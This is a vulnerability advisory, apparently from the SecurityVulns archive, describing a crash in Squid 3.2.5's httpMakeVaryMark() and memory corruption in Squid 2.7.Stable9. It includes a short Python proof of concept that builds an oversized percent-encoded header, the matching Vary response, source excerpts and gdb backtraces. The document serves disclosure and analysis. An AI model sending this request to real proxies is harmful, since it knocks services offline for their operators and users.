Squid 3.2.5 httpMakeVaryMark() header value DoS, 2.7.Stable9 memory corruption.

2013-03-10T00:00:00
ID SECURITYVULNS:DOC:29143
Type securityvulns
Reporter Securityvulns
Modified 2013-03-10T00:00:00

Description

httpMakeVaryMark() header value 'value' (http.cc:603 line)

Authors:

22733db72ab3ed94b5f8a1ffcde850251fe6f466

c8e74ebd8392fda4788179f9a02bb49337638e7b

AKAT-1

Versions: 3.2.5

It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent: Request -- cut -- #!/usr/bin/env python print 'GET /index.html HTTP/1.1' print 'Host: localhost' print 'X-HEADSHOT: ' + '%XX' * 19000 print '\r\n\r\n' -- cut --

Response -- cut -- HTTP/1.1 200 OK Vary: X-HEADSHOT -- cut --

Code:

In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example percent signs. This mean that the single charachter in request is now triple in length (e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).

This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert is invoked, which kills the child. When child is killed the Kid::stop() is called, which increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4, then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main process of squid (parent) with the following message: "Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"

src/http.cc: 573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply) 574 { 575 String vary, hdr; 576 const char pos = NULL; 577 const char item; 578 const char value; 579 int ilen; 580 static String vstr; 581 582 vstr.clean(); 583 vary = reply->header.getList(HDR_VARY); 584 585 while (strListGetItem(&vary, ',', &item, &ilen, &pos)) { 586 char name = (char )xmalloc(ilen + 1); 587 xstrncpy(name, item, ilen + 1); 588 Tolower(name); 589 590 if (strcmp(name, "") == 0) { 591 / Can not handle "Vary: " withtout ETag support */ 592 safe_free(name); 593 vstr.clean(); 594 break; 595 } 596 597 strListAdd(&vstr, name, ','); 598 hdr = request->header.getByName(name); 599 safe_free(name); 600 value = hdr.termedBuf(); 601 602 if (value) { 603 value = rfc1738_escape_part(value); 604 vstr.append("=\"", 2); 605 vstr.append(value); 606 vstr.append("\"", 1); 607 }

lib/rfc1738.c: 143 / Do the triplet encoding, or just copy the char / 144 if (do_escape == 1) { 145 (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) src); 146 dst += sizeof(char) * 2; 147 } else { 148 dst = *src; 149 }

src/String.cc: 186 String::append( char const *str, int len) 187 { 188 assert(this); 189 assert(str && len >= 0); 190 191 PROF_start(StringAppend); 192 if (len_ + len < size_) { 193 strncat(buf_, str, len); 194 len_ += len; 195 } else { 196 // Create a temporary string and absorb it later. 197 String snew; 198 assert(len_ + len < 65536); // otherwise snew.len_ overflows below 199 snew.len_ = len_ + len; 200 snew.allocBuffer(snew.len_ + 1); 201 202 if (len_) 203 memcpy(snew.buf_, rawBuf(), len_); 204 205 if (len) 206 memcpy(snew.buf_ + len_, str, len); 207 208 snew.buf_[snew.len_] = '\0'; 209 210 absorb(snew); 211 } 212 PROF_stop(StringAppend); 213 }

src/ipc/Kid.cc: 46 /// called when kid terminates, sets exiting status 47 void Kid::stop(status_type exitStatus) 48 { 49 assert(running()); 50 assert(startTime != 0); 51 52 isRunning = false; 53 54 time_t stop_time; 55 time(&stop_time); 56 if ((stop_time - startTime) < fastFailureTimeLimit) 57 ++badFailures; 58 else 59 badFailures = 0; // the failures are not "frequent" [any more] 60 61 status = exitStatus; 62 } 70 /// returns true if master process should restart this kid 71 bool Kid::shouldRestart() const 72 { 73 return !(running() || 74 exitedHappy() || 75 hopeless() || 76 shutting_down || 77 signaled(SIGKILL) || // squid -k kill 78 signaled(SIGINT) || // unexpected forced shutdown 79 signaled(SIGTERM)); // unexpected forced shutdown 80 }

src/ipc/Kid.h: 23 /// keep restarting until the number of bad failures exceed this limit 24 enum { badFailureLimit = 4 }; 25 26 /// slower start failures are not "frequent enough" to be counted as "bad" 27 enum { fastFailureTimeLimit = 10 }; // seconds

BONUS POINT

Well, we think that in squid 2.7.Stable9 this is not cought in assert... cough

#3 0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized out>) at malloc.c:6283 #16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397 and #3 0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)", ptr=<optimized out>) at malloc.c:6283 #9 0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397 and #3 0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks", ptr=<optimized out>) at malloc.c:6283 #9 0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397 and #3 0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)", ptr=<optimized out>) at malloc.c:6283 #9 0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398 EOF